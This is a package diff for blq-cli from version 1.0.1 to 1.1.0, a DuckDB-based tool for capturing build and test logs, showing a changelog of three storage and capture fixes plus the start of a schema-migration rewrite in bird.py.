blq-cli 1.0.1__tar.gz → 1.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {blq_cli-1.0.1 → blq_cli-1.1.0}/AGENTS.md +1 -1
- blq_cli-1.1.0/CHANGELOG.md +82 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/PKG-INFO +2 -2
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/duck-hunt-v3-migration.md +4 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/schema.md +1 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/pyproject.toml +1 -1
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/bird.py +165 -44
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/bird_schema.sql +4 -1
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/core.py +48 -4
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/execution.py +38 -3
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/migrate.py +1 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/ext/__init__.py +31 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/ext/local_executor.py +4 -2
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/output.py +35 -11
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/serve.py +28 -13
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/services/inspect.py +5 -2
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/services/query.py +20 -15
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox/profile.py +15 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_core.py +12 -3
- blq_cli-1.1.0/tests/test_import_capture_storage.py +196 -0
- blq_cli-1.1.0/tests/test_log_content_persistence.py +345 -0
- blq_cli-1.1.0/tests/test_schema_repair.py +99 -0
- blq_cli-1.1.0/tests/test_security_containment.py +239 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/.claude/hooks/blq-suggest.sh +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/.github/workflows/ci.yml +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/.github/workflows/docs.yml +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/.github/workflows/publish.yml +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/.gitignore +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/.mcp.json +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/.readthedocs.yml +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/AGENT.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/CLAUDE.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/CONTRIBUTING.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/README.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/SKILL.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/api-reference.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/capture.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/ci.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/completions.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/errors.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/exec.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/filter.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/index.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/init.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/maintenance.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/query.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/registry.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/report.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/run.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/sql.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/status.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/sync.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/commands/watch.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-bird-migration.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-commands.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-config-command.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-extensions.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-git-integration.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-hooks-v2.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-live-inspection.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-parameterized-commands.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-run-args.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-sandbox-specs.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-sync.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/design-track-save.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/duck-hunt-v2-migration.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/proposal-bird-v5.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/design/skill-inspect-enrichment.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/getting-started.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/index.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/integration.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/mcp.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/plans/explore-bird-sqlite-backend.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/plans/explore-nsjail-python-wrapper.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/plans/explore-nsjail-spack-package.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/plans/patterns-integration-prompt.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/plans/roadmap-to-1.0.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/plugin-guide.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/python-api.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/query-guide.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/requirements.txt +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/sandbox.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/schema-stability.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/superpowers/plans/2026-03-22-extension-system.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/superpowers/plans/2026-03-28-bwrap-engine.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/superpowers/plans/2026-03-28-command-locks.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/superpowers/plans/2026-03-29-annotators-and-tighten.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/superpowers/plans/2026-03-29-service-layer-phase1.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/superpowers/plans/2026-03-29-strace-profiling.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/superpowers/specs/2026-03-22-extension-system-design.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/docs/superpowers/specs/2026-03-29-unified-service-layer-design.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/experiments/agent-build-test.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/mkdocs.yml +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/__init__.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/__main__.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/cli.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/README.md +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/__init__.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/ci_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/clean_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/config_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/events.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/hooks_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/hooks_gen.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/init_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/management.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/management_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/mcp_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/query_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/record_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/registry.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/report_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/sandbox_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/serve_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/sync_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/commands/watch_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/config_format.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/ext/annotator.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/ext/discovery.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/ext/pipeline.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/git.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/github.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/locks.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/query.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/runtime.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/schema.sql +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/services/__init__.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/services/execution.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/services/refs.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/storage.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/templates/drone.yml.j2 +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/templates/git_hook.sh.j2 +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/templates/github_workflow.yml.j2 +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/templates/gitlab_ci.yml.j2 +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/templates/hook_script.sh.j2 +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq/user_config.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox/__init__.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox/engines.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox/source_annotator.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox/spec.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox/strace_parser.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox/tighten.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox/violations.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox_bwrap/__init__.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox_bwrap/args.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/src/blq_sandbox_systemd/__init__.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/__init__.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/conftest.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/sql/test_duck_hunt_v2_migration.sql +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_annotator.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_attempts_outcomes.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_auto_init.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_autoprune.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_bird.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_bwrap_args.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_bwrap_engine.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_ci.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_ci_generators.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_command_args.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_command_lock_field.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_config_consumption.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_execution_locks.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_exit_code_reason.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_ext_discovery.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_ext_integration.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_ext_local_executor.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_ext_pipeline.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_ext_types.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_git.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_hooks.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_hooks_gen.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_inspect.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_json_null_filter.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_locks.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_mcp_ci_tools.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_mcp_merge.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_mcp_server.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_phase1_structured_output.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_phase2_command_registry.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_query_api.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_query_filter.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_record_invocation.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_report.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_runtime_config.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_sandbox.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_sandbox_cmd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_sandbox_events.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_sandbox_ext.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_sandbox_profile.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_sandbox_register.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_sandbox_systemd.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_sandbox_tighten.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_sandbox_violations.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_services_execution.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_services_inspect.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_services_query.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_services_refs.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_source_annotator.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_storage.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_storage_prune.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_strace_parser.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_user_config.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/tests/test_watch.py +0 -0
- {blq_cli-1.0.1 → blq_cli-1.1.0}/uv.lock +0 -0
|
@@ -560,7 +560,7 @@ Pre-built prompts that guide agents through common workflows:
|
|
|
560
560
|
"file_path": "src/main.c",
|
|
561
561
|
"line_number": 15,
|
|
562
562
|
"message": "undefined variable 'foo'",
|
|
563
|
-
"
|
|
563
|
+
"log_content": "src/main.c:15:5: error: use of undeclared identifier 'foo'",
|
|
564
564
|
"fingerprint": "abc123...",
|
|
565
565
|
"cwd": "/home/user/project",
|
|
566
566
|
"hostname": "dev-machine",
|
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
## v1.1.0
|
|
4
|
+
|
|
5
|
+
Three fixes with one theme: blq reported success while losing the thing it was
|
|
6
|
+
asked to capture. Schema moves 3.0.0 -> 3.1.0 and migrates automatically on the
|
|
7
|
+
next open; no user action, existing rows are preserved.
|
|
8
|
+
|
|
9
|
+
### Fixed — `import` and `capture` wrote data no query could read (#50)
|
|
10
|
+
|
|
11
|
+
`cmd_import` and `cmd_capture` called `write_run_parquet` unconditionally, while
|
|
12
|
+
`exec`/`run` branch on `config.use_bird`. BIRD is the default storage mode, so on
|
|
13
|
+
a default project an import produced a well-formed parquet under `.bird/logs/`
|
|
14
|
+
that the query layer — a view over the BIRD tables — never reads:
|
|
15
|
+
|
|
16
|
+
$ blq import report.json --format pytest_json
|
|
17
|
+
Imported 2 events (2 errors, 0 warnings)
|
|
18
|
+
Saved to .bird/logs/date=.../source=import/001_report.parquet
|
|
19
|
+
$ blq events
|
|
20
|
+
(no data)
|
|
21
|
+
|
|
22
|
+
Success, a destination path, exit 0, a real file, and no observable effect. The
|
|
23
|
+
storage branch had been added to the exec path and never to these two. Both now
|
|
24
|
+
route through the configured backend; parquet mode is unchanged.
|
|
25
|
+
|
|
26
|
+
This mattered most for the richest source available: a `pytest_json` import
|
|
27
|
+
carries the whole failure block — assertion, source line, and the
|
|
28
|
+
`+ where None = normalize(...)` line naming the function under test — where a
|
|
29
|
+
default text capture of the same run carried seven characters.
|
|
30
|
+
|
|
31
|
+
### Fixed — captured children were told the terminal was 80 columns (#49)
|
|
32
|
+
|
|
33
|
+
Anything that formats for a terminal consults `COLUMNS` and falls back to 80
|
|
34
|
+
without a TTY, which is always true under a capturing runner. `pytest -q`
|
|
35
|
+
abbreviates its short-summary line on that basis, and blq parses that line, so
|
|
36
|
+
the stored message lost everything past roughly 80 columns minus the test name.
|
|
37
|
+
How diagnosable a failure was depended on how long someone had named the test:
|
|
38
|
+
|
|
39
|
+
| test name | message stored |
|
|
40
|
+
|---|---|
|
|
41
|
+
| 73 characters | 7 — `asse...` |
|
|
42
|
+
| 35 characters | 45 — nothing lost |
|
|
43
|
+
|
|
44
|
+
Captured children now receive `COLUMNS=200` unless the caller set one; an
|
|
45
|
+
explicit `COLUMNS=80` still truncates, which is the caller's choice. Applied in
|
|
46
|
+
`blq.ext.capture_env`, covering `LocalExecutor` (the path `exec`/`run` take) and
|
|
47
|
+
the two direct `Popen` sites, plus the sandbox profiler for consistency.
|
|
48
|
+
|
|
49
|
+
### Fixed — duck_hunt's `log_content` was received and discarded (#52)
|
|
50
|
+
|
|
51
|
+
duck_hunt returns the entire failure block in `log_content`. blq queries
|
|
52
|
+
`SELECT *` so it received the column, then dropped it at write time because the
|
|
53
|
+
event schema had no place for it — keeping only `log_line_start`/`log_line_end`,
|
|
54
|
+
pointers into a log not retained unless `--keep-raw` is set. Measured on one
|
|
55
|
+
assertion failure: **391 characters available, 16 persisted.**
|
|
56
|
+
|
|
57
|
+
`events.log_content` now exists in both backends, exposed through
|
|
58
|
+
`blq_load_events()`, capped at 32K with the truncation stated in the value
|
|
59
|
+
rather than applied silently.
|
|
60
|
+
|
|
61
|
+
The vestigial `raw_text` column was renamed rather than duplicated: nothing
|
|
62
|
+
wrote it, its only reader looked up a key duck_hunt does not emit, and
|
|
63
|
+
`docs/design/duck-hunt-v3-migration.md` already recorded `raw_text -> log_content`
|
|
64
|
+
as the intended migration. Old parquet files stay readable via
|
|
65
|
+
`union_by_name = true`. The MCP `event` tool now returns a populated
|
|
66
|
+
`log_content` where it previously returned an always-null `raw_text`.
|
|
67
|
+
|
|
68
|
+
### Migration
|
|
69
|
+
|
|
70
|
+
Schema 3.0.0 -> 3.1.0, handled by the existing self-heal on next open. Two
|
|
71
|
+
layers, following the `extension_data` precedent: a version-keyed migration that
|
|
72
|
+
drops dependent views before the `ALTER`, and a version-independent column
|
|
73
|
+
reconcile so a database whose version advanced without the `ALTER` landing is
|
|
74
|
+
still repaired. Verified against a database built from the shipped 3.0.0 schema
|
|
75
|
+
with prior data: version advances, existing rows survive with NULL, new rows
|
|
76
|
+
carry the block.
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
## v1.0.2
|
|
80
|
+
|
|
81
|
+
### Bug fixes
|
|
82
|
+
- **Self-heal DBs stuck without `extension_data`.** The 2.3->2.4 migration renamed `sandbox` -> `extension_data` via `RENAME COLUMN`, which DuckDB blocks when non-view dependencies (FKs/constraints) exist on `attempts`/`invocations` — even after dropping views. The rename failed silently but the schema version advanced anyway, leaving DBs permanently stuck without `extension_data` and crashing every `write_attempt` ("Table attempts does not have a column extension_data"). `_ensure_schema` now self-heals version-independently: it gates on a missing column, adds `extension_data` via `ADD COLUMN` (never blocked), copies any existing `sandbox` data across (wrapped as `{"sandbox": ...}`, no data loss), and re-applies the idempotent schema to recreate views. Healthy/fresh DBs stay a fast no-op. Repairs on next connect (the CLI heals on the next `blq run`; a running MCP server heals after restart).
|
|
@@ -1,6 +1,6 @@
|
|
|
1
|
-
Metadata-Version: 2.
|
|
1
|
+
Metadata-Version: 2.5
|
|
2
2
|
Name: blq-cli
|
|
3
|
-
Version: 1.0
|
|
3
|
+
Version: 1.1.0
|
|
4
4
|
Summary: Build Log Query - capture and query build/test logs with DuckDB
|
|
5
5
|
Project-URL: Homepage, https://blq-cli.readthedocs.io/
|
|
6
6
|
Project-URL: Repository, https://github.com/teaguesterling/blq-cli
|
|
@@ -4,6 +4,10 @@
|
|
|
4
4
|
|
|
5
5
|
This document outlines the changes needed to migrate blq to duck_hunt's Schema V3.
|
|
6
6
|
|
|
7
|
+
> **Status:** the `ref_*` renames and the `raw_text` -> `log_content` rename have
|
|
8
|
+
> landed (the latter in #52, which also began populating the column in both
|
|
9
|
+
> storage backends). The `log_file` field is still not persisted.
|
|
10
|
+
|
|
7
11
|
## Key Changes
|
|
8
12
|
|
|
9
13
|
### 1. Field Renames
|
|
@@ -86,6 +86,7 @@ Parsed diagnostics (errors, warnings, test results).
|
|
|
86
86
|
| `fingerprint` | VARCHAR | Unique identifier for deduplication |
|
|
87
87
|
| `log_line_start` | INTEGER | Start line in raw log |
|
|
88
88
|
| `log_line_end` | INTEGER | End line in raw log |
|
|
89
|
+
| `log_content` | VARCHAR | Raw log block for this event (e.g. the whole pytest FAILURES block); capped at 32768 chars, with a visible marker when truncated |
|
|
89
90
|
| `context` | VARCHAR | Surrounding context |
|
|
90
91
|
| `metadata` | JSON | Format-specific extras |
|
|
91
92
|
| `format_used` | VARCHAR | Parser format (gcc, cargo, pytest) |
|
|
@@ -32,6 +32,34 @@ logger = logging.getLogger("blq-bird")
|
|
|
32
32
|
# Type variable for retry function
|
|
33
33
|
T = TypeVar("T")
|
|
34
34
|
|
|
35
|
+
# Current BIRD schema version. Must match the value seeded by bird_schema.sql;
|
|
36
|
+
# _needs_repair/_apply_migrations compare a database's stored version against it.
|
|
37
|
+
SCHEMA_VERSION = "3.1.0"
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def _version_tuple(version: str) -> tuple[int, int]:
|
|
41
|
+
"""(major, minor) of a version string, or (0, 0) if unparseable."""
|
|
42
|
+
try:
|
|
43
|
+
parts = [int(p) for p in version.split(".")]
|
|
44
|
+
except (ValueError, AttributeError):
|
|
45
|
+
return (0, 0)
|
|
46
|
+
if not parts:
|
|
47
|
+
return (0, 0)
|
|
48
|
+
return (parts[0], parts[1] if len(parts) > 1 else 0)
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
LATEST_SCHEMA = _version_tuple(SCHEMA_VERSION)
|
|
52
|
+
|
|
53
|
+
# Columns that must exist on a table regardless of the recorded schema version.
|
|
54
|
+
# A migration can fail silently (DuckDB blocks ALTER while views depend on the
|
|
55
|
+
# table) and let the version advance past itself, so these are also checked
|
|
56
|
+
# directly and re-added by _reconcile_schema.
|
|
57
|
+
REQUIRED_COLUMNS: dict[str, dict[str, str]] = {
|
|
58
|
+
"attempts": {"extension_data": "JSON"},
|
|
59
|
+
"invocations": {"extension_data": "JSON"},
|
|
60
|
+
"events": {"log_content": "VARCHAR"},
|
|
61
|
+
}
|
|
62
|
+
|
|
35
63
|
# Default retry settings for lock contention
|
|
36
64
|
DEFAULT_MAX_RETRIES = 5
|
|
37
65
|
DEFAULT_INITIAL_DELAY = 0.05 # 50ms
|
|
@@ -99,8 +127,9 @@ def retry_on_lock(
|
|
|
99
127
|
raise last_error
|
|
100
128
|
|
|
101
129
|
|
|
102
|
-
#
|
|
103
|
-
|
|
130
|
+
# (BIRD_SCHEMA_VERSION used to live here, hardcoded at "2.1.0" and read by
|
|
131
|
+
# nothing — a second, stale version constant. SCHEMA_VERSION above is the one
|
|
132
|
+
# the schema file and the migrations agree on.)
|
|
104
133
|
|
|
105
134
|
# Storage thresholds (per BIRD spec)
|
|
106
135
|
DEFAULT_INLINE_THRESHOLD = 4096 # 4KB - outputs smaller than this are stored inline
|
|
@@ -420,13 +449,26 @@ class BirdStore:
|
|
|
420
449
|
).fetchone()
|
|
421
450
|
if result:
|
|
422
451
|
current_version = result[0]
|
|
423
|
-
# Apply any pending migrations
|
|
424
|
-
cls._apply_migrations(conn, current_version)
|
|
425
|
-
return
|
|
426
452
|
except duckdb.Error:
|
|
427
453
|
pass # Table doesn't exist, need to create
|
|
428
454
|
|
|
429
|
-
|
|
455
|
+
if current_version is not None and not force:
|
|
456
|
+
# Existing DB. Only touch it when there's pending migration work or a
|
|
457
|
+
# column a past (possibly silently-failed) migration never added;
|
|
458
|
+
# otherwise this is a fast no-op.
|
|
459
|
+
if not cls._needs_repair(conn, current_version):
|
|
460
|
+
return
|
|
461
|
+
# DuckDB blocks column ALTER/RENAME while views depend on the table
|
|
462
|
+
# (this is what left old DBs stuck without extension_data). Drop all
|
|
463
|
+
# views first so migrations + the reconcile can alter the base tables;
|
|
464
|
+
# re-applying the schema below recreates every view.
|
|
465
|
+
cls._drop_all_views(conn)
|
|
466
|
+
cls._apply_migrations(conn, current_version)
|
|
467
|
+
cls._reconcile_schema(conn)
|
|
468
|
+
|
|
469
|
+
# Load schema from SQL file (idempotent: CREATE TABLE IF NOT EXISTS,
|
|
470
|
+
# INSERT OR IGNORE, CREATE OR REPLACE VIEW — safe to re-apply, and it
|
